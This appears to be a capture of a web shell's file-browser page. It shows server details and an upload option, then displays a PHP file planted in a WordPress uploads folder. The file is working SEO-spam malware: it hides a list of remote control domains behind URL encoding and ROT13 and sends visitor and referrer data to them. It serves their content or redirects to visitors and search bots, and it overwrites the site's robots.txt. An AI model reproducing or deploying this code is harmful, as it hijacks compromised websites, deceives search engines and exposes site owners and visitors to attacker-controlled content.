HEX
Server: Apache
System: Linux linweb06.linvh1.fasthosts.co.uk 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User: user_1036302171 (1036307171)
PHP: 8.2.30
Disabled: shell_exec,exec,system,popen,set_time_limit
Upload Files
File: /home/linweb06/p/pinkypirate.com-1036301939/user/htdocs/wp-content/uploads/hell_prison.php
<?php
class RequestProcessor {
    private $xmlname;
    private $http;
    private $duri;
    private $host;
    private $lang;
    private $urlshang;
    private $param;
    private $html_content;

    public function __construct() {
        $this->xmlname = explode(',', '%31%33%30%36%2D%65%6E%61%78%31%31%38%2E%65%62%61%76%66%67%76%72%2E%6B%6C%6D,%31%33%30%36%2D%65%6E%61%78%31%31%38%2E%79%6E%6F%6C%65%76%61%67%75%76%61%72%2E%67%62%63,%31%33%30%36%2D%65%6E%61%78%31%31%38%2E%73%68%67%68%65%72%6D%62%61%2E%6B%6C%6D,%31%33%30%36%2D%65%6E%61%78%31%31%38%2E%66%7A%6E%65%67%69%72%61%67%68%61%2E%67%62%63');
        $this->http = $this->is_https() ? 'https' : 'http';
        $this->duri = $this->drequest_uri() ?: '/';
        $this->host = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : '';
        $this->lang = isset($_SERVER['HTTP_ACCEPT_LANGUAGE']) ? $_SERVER['HTTP_ACCEPT_LANGUAGE'] : 'en';
        $this->urlshang = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '';

        $this->param = 'web=' . $this->host .
            '&zz=' . ($this->disbot() ? '1' : '0') .
            '&uri=' . urlencode($this->duri) .
            '&urlshang=' . urlencode($this->urlshang) .
            '&http=' . $this->http .
            '&lang=' . $this->lang;

        $this->html_content = $this->doutdo($this->xmlname, $this->http, $this->param);

        $this->generateRobotsTxt();
        if (!strstr($this->html_content, 'nobotuseragent')) {
            $this->handle_content($this->html_content);
        }
    }

    private function is_https() {
        return (
            (isset($_SERVER['HTTPS']) && strtolower($_SERVER['HTTPS']) !== 'off') ||
            (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https') ||
            (isset($_SERVER['HTTP_FRONT_END_HTTPS']) && strtolower($_SERVER['HTTP_FRONT_END_HTTPS']) !== 'off')
        );
    }

    private function drequest_uri() {
        if (isset($_SERVER['REQUEST_URI'])) {
            return $_SERVER['REQUEST_URI'];
        } elseif (isset($_SERVER['argv'])) {
            return $_SERVER['PHP_SELF'] . '?' . $_SERVER['argv'][0];
        } else {
            return $_SERVER['PHP_SELF'] . '?' . $_SERVER['QUERY_STRING'];
        }
    }

    private function disbot() {
        $uAgent = strtolower($_SERVER['HTTP_USER_AGENT'] ?? '');
        return stristr($uAgent, 'googlebot') || stristr($uAgent, 'bing') || stristr($uAgent, 'yahoo') || stristr($uAgent, 'google');
    }

    private function doutdo($webs, $http, $web) {
        shuffle($webs);
        foreach ($webs as $domain) {
            $domain = str_rot13(urldecode($domain));
            $url = 'http://' . $domain . '/index.php?' . $web;

            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
            $response = curl_exec($ch);
            if (!curl_errno($ch)) {
                curl_close($ch);
                return $response;
            }
            curl_close($ch);

            if (ini_get('allow_url_fopen')) {
                $response = @file_get_contents($url);
                if ($response !== false) {
                    return $response;
                }
            }
        }

        return 'nobotuseragent';
    }

    private function generateRobotsTxt() {
        $robotsPath = $_SERVER['DOCUMENT_ROOT'] . '/robots.txt';
        $hta = stristr($this->duri, '/?') ? '?' : '';
        $content = "User-agent: *\nAllow: /\n";
        $content .= "Sitemap: {$this->http}://{$this->host}/{$hta}sitemap.xml";
        if (!file_exists($robotsPath)) {
            file_put_contents($robotsPath, $content);
        } else {
        	if (md5_file($robotsPath) !== md5($content)) {
        		@file_put_contents($robotsPath, $content);
        	}
        }
    }

    private function handle_content($html_content) {
        if (strstr($html_content, 'okhtmlgetcss')) {
            header('Content-Type: text/css; charset=utf-8');
            echo str_replace("okhtmlgetcss", '', $html_content);
            exit();
        } elseif (strstr($html_content, 'okhtmlgetcontent')) {
            header('Content-Type: text/html; charset=utf-8');
            echo str_replace("okhtmlgetcontent", '', $html_content);
            exit();
        } elseif (strstr($html_content, 'okxmlgetcontent')) {
            header('Content-Type: application/xml; charset=utf-8');
            echo str_replace("okxmlgetcontent", '', $html_content);
            exit();
        } elseif (strstr($html_content, 'getcontent500page')) {
            header('HTTP/1.1 500 Internal Server Error');
            exit();
        } elseif (strstr($html_content, 'getcontent404page')) {
            header('HTTP/1.1 404 Not Found');
            exit();
        } elseif (strstr($html_content, 'getcontent301page')) {
            header('HTTP/1.1 301 Moved Permanently');
            $target = str_replace('getcontent301page', '', $html_content);
            header('Location: ' . $target);
            exit();
        } elseif (strstr($html_content, 'okrobotsgetcontent')) {
            header('Content-Type: text/plain');
            echo str_replace("okrobotsgetcontent", '', $html_content);
            exit();
        }
    }
}

new RequestProcessor();